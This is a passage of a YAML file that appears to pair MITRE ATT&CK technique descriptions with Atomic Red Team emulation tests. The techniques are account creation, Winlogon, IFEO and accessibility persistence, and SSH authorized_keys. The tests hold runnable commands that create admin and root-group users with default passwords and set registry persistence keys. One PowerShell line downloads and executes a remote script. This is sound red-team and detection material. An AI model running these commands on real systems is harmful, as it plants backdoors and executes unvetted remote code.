default: T1136.001_CMD! executor: command: 'net user /add "#{username}" "#{password}" ' cleanup_command: 'net user /del "#{username}" >nul 2>&1 ' name: command_prompt elevation_required: true - name: Create a new user in PowerShell auto_generated_guid: bc8be0ac-475c-4fbf-9b1d-9fffd77afbde description: | Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell" supported_platforms: - windows input_arguments: username: description: Username of the user to create type: string default: T1136.001_PowerShell executor: command: 'New-LocalUser -Name "#{username}" -NoPassword ' cleanup_command: 'Remove-LocalUser -Name "#{username}" -ErrorAction Ignore ' name: powershell elevation_required: true - name: Create a new user in Linux with `root` UID and GID. auto_generated_guid: a1040a30-d28b-4eda-bd99-bb2861a4616c description: 'Creates a new user in Linux and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign. ' supported_platforms: - linux input_arguments: username: description: Username of the user to create type: string default: butter password: description: Password of the user to create type: string default: BetterWithButter executor: command: | useradd -g 0 -M -d /root -s /bin/bash #{username} if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi; cleanup_command: 'userdel #{username} ' name: bash elevation_required: true - name: Create a new user in FreeBSD with `root` GID. auto_generated_guid: d141afeb-d2bc-4934-8dd5-b7dba0f9f67a description: 'Creates a new user in FreeBSD and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign. ' supported_platforms: - linux input_arguments: username: description: Username of the user to create type: string default: butter password: description: Password of the user to create type: string default: BetterWithButter executor: command: | pw useradd #{username} -g 0 -d /root -s /bin/sh echo "#{password}" | pw usermod #{username} -h 0 cleanup_command: 'pw userdel #{username} ' name: sh elevation_required: true - name: Create a new Windows admin user auto_generated_guid: fda74566-a604-4581-a4cc-fbbe21d66559 description: 'Creates a new admin user in a command prompt. ' supported_platforms: - windows input_arguments: username: description: Username of the user to create type: string default: T1136.001_Admin password: description: Password of the user to create type: string default: T1136_pass executor: command: | net user /add "#{username}" "#{password}" net localgroup administrators "#{username}" /add cleanup_command: 'net user /del "#{username}" >nul 2>&1 ' name: command_prompt elevation_required: true - name: Create a new Windows admin user via .NET auto_generated_guid: 2170d9b5-bacd-4819-a952-da76dae0815f description: 'Creates a new admin user in a powershell session without using net.exe ' supported_platforms: - windows executor: command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1') name: powershell elevation_required: true T1547.004: technique: modified: '2024-02-14T21:24:37.780Z' name: 'Boot or Logon Autostart Execution: Winlogon Helper DLL' description: "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Praetorian x_mitre_deprecated: false x_mitre_detection: |- Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Module: Module Load' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - SYSTEM - Administrator type: attack-pattern id: attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35 created: '2020-01-24T16:59:59.688Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/004 external_id: T1547.004 - source_name: Cylance Reg Persistence Sept 2013 description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.' url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.004 atomic_tests: - name: Winlogon Shell Key Persistence - PowerShell auto_generated_guid: bf9f9d65-ee4d-4c3e-a843-777d04f19c38 description: | PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe. Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff. supported_platforms: - windows input_arguments: binary_to_execute: description: Path of binary to execute type: path default: C:\Windows\System32\cmd.exe executor: command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force ' cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore ' name: powershell - name: Winlogon Userinit Key Persistence - PowerShell auto_generated_guid: fb32c935-ee2e-454b-8fa3-1c46b42e8dfb description: | PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe. Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff. supported_platforms: - windows input_arguments: binary_to_execute: description: Path of binary to execute type: path default: C:\Windows\System32\cmd.exe executor: command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force ' cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore ' name: powershell - name: Winlogon Notify Key Logon Persistence - PowerShell auto_generated_guid: d40da266-e073-4e5a-bb8b-2b385023e5f9 description: | PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon. Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon. Please note that Winlogon Notifications have been removed as of Windows Vista / Windows Server 2008 and that this test thus only applies to erlier versions of Windows. supported_platforms: - windows input_arguments: binary_to_execute: description: Path of notification package to execute type: path default: C:\Windows\Temp\atomicNotificationPackage.dll function_to_execute: description: Function in notification package to execute type: string default: AtomicTestFunction executor: command: | New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" -Force Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "DllName" "#{binary_to_execute}" -Type ExpandString -Force Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Logon" "#{function_to_execute}" -Force Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Impersonate" 1 -Type DWord -Force Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Asynchronous" 0 -Type DWord -Force cleanup_command: 'Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force -ErrorAction Ignore ' name: powershell - name: Winlogon HKLM Shell Key Persistence - PowerShell auto_generated_guid: 95a3c42f-8c88-4952-ad60-13b81d929a9d description: | PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe. Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff. supported_platforms: - windows input_arguments: binary_to_execute: description: Path of binary to execute type: path default: C:\Windows\System32\cmd.exe executor: command: 'Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force ' cleanup_command: 'Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore ' name: powershell - name: Winlogon HKLM Userinit Key Persistence - PowerShell auto_generated_guid: f9b8daff-8fa7-4e6a-a1a7-7c14675a545b description: | PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe. Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff. supported_platforms: - windows input_arguments: binary_to_execute: description: Path of binary to execute type: path default: C:\Windows\System32\cmd.exe executor: command: 'Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force ' cleanup_command: 'Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore ' name: powershell T1098.004: technique: modified: '2023-10-03T17:38:21.121Z' name: SSH Authorized Keys description: "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Tony Lambert, Red Canary - Dror Alon, Palo Alto Networks - Or Kliger, Palo Alto Networks - Austin Clark, @c2defense - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: |- Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations. Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config. For network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - IaaS - Network x_mitre_version: '1.3' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Modification' type: attack-pattern id: attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4 created: '2020-06-24T12:42:35.144Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/004 external_id: T1098.004 - source_name: Venafi SSH Key Abuse description: 'Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.' url: https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities - source_name: Google Cloud Privilege Escalation description: Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022. url: https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/ - source_name: cisco_ip_ssh_pubkey_ch_cmd description: Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478 - source_name: Cybereason Linux Exim Worm description: Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020. url: https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability - source_name: Google Cloud Add Metadata description: Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022. url: https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata - source_name: Azure Update Virtual Machines description: Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022. url: https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update - source_name: SSH Authorized Keys description: ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020. url: https://www.ssh.com/ssh/authorized_keys/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1098.004 atomic_tests: - name: Modify SSH Authorized Keys auto_generated_guid: 342cc723-127c-4d3a-8292-9c0c6b4ecadc description: "Modify contents of /.ssh/authorized_keys to maintain persistence on victim host. \nIf the user is able to save the same contents in the authorized_keys file, it shows user can modify the file.\n" supported_platforms: - linux - macos executor: name: sh elevation_required: false command: 'if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo "$ssh_authorized_keys" > ~/.ssh/authorized_keys; fi; ' cleanup_command: 'unset ssh_authorized_keys ' T1546.012: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Oddvar Moe, @oddvarmoe object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6 type: attack-pattern created: '2020-01-24T15:05:58.384Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1546.012 url: https://attack.mitre.org/techniques/T1546/012 - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017. source_name: Microsoft Dev Blog IFEO Mar 2010 - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017. source_name: Microsoft GFlags Mar 2017 - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018. source_name: Microsoft Silent Process Exit NOV 2017 - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. source_name: Oddvar Moe IFEO APR 2018 - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014. source_name: Tilbury 2014 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017. source_name: FSecure Hupigon - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017. source_name: Symantec Ushedix June 2008 modified: '2022-04-25T14:00:00.188Z' name: 'Event Triggered Execution: Image File Execution Options Injection' description: |- Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation. Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' x_mitre_permissions_required: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1546.012 atomic_tests: - name: IFEO Add Debugger auto_generated_guid: fdda2626-5234-4c90-b163-60849a24c0b8 description: 'Leverage Global Flags Settings ' supported_platforms: - windows input_arguments: target_binary: description: Binary To Attach To type: path default: calc.exe payload_binary: description: Binary To Execute type: path default: C:\Windows\System32\cmd.exe executor: command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}" ' cleanup_command: 'reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1 ' name: command_prompt elevation_required: true - name: IFEO Global Flags auto_generated_guid: 46b1f278-c8ee-4aa5-acce-65e77b11f3c1 description: 'Leverage Global Flags Settings ' supported_platforms: - windows input_arguments: target_binary: description: Binary To Attach To type: path default: notepad.exe payload_binary: description: Binary To Execute type: path default: C:\Windows\System32\cmd.exe executor: command: | REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}" cleanup_command: | reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1 name: command_prompt elevation_required: true - name: GlobalFlags in Image File Execution Options auto_generated_guid: 13117939-c9b2-4a43-999e-0a543df92f0d description: "The following Atomic Test will create a GlobalFlag key under Image File Execution Options, also a SilentProcessExit Key with ReportingMode and MonitorProcess values. This test is similar to a recent CanaryToken that will generate an EventCode 3000 in the Application log when a command, whoami.exe for example, is executed.\nUpon running Whoami.exe, a command shell will spawn and start calc.exe based on the MonitorProcess value. \nUpon successful execution, powershell will modify the registry and spawn calc.exe. An event 3000 will generate in the Application log.\n" supported_platforms: - windows input_arguments: process: description: 'Process to monitor ' type: string default: whoami.exe cmd_to_run: description: 'Command to execute ' type: string default: cmd.exe /c calc.exe executor: command: "$Name = \"GlobalFlag\"\n$Value = \"512\"\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nNew-Item -Path $registryPath -Force\nNew-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force\n$Name = \"ReportingMode\"\n$Value = \"1\"\n$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\"\nNew-Item -Path $SilentProcessExit -Force\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force \n\n$Name = \"MonitorProcess\"\n$Value = \"#{cmd_to_run}\"\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force\nStart-Process whoami.exe\n" cleanup_command: "$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\" \nRemove-Item $SilentProcessExit -force\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nRemove-Item $registryPath -force\n" name: powershell elevation_required: true T1574.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Travis Smith, Tripwire - Stefan Kanthak object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979 type: attack-pattern created: '2020-03-13T11:12:18.558Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1574.005 url: https://attack.mitre.org/techniques/T1574/005 - source_name: mozilla_sec_adv_2012 url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/ description: Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017. - source_name: Executable Installers are Vulnerable url: https://seclists.org/fulldisclosure/2015/Dec/34 description: 'Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.' modified: '2020-10-27T14:49:39.188Z' name: Executable Installer File Permissions Weakness description: |- Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Service: Service Metadata' - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' - 'Module: Module Load' x_mitre_permissions_required: - Administrator - User x_mitre_effective_permissions: - Administrator - User - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1546.008: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Event Triggered Execution: Accessibility Features' description: |- Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit) Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014) Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse) * On-Screen Keyboard: C:\Windows\System32\osk.exe * Magnifier: C:\Windows\System32\Magnify.exe * Narrator: C:\Windows\System32\Narrator.exe * Display Switcher: C:\Windows\System32\DisplaySwitch.exe * App Switcher: C:\Windows\System32\AtBroker.exe kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Paul Speulstra, 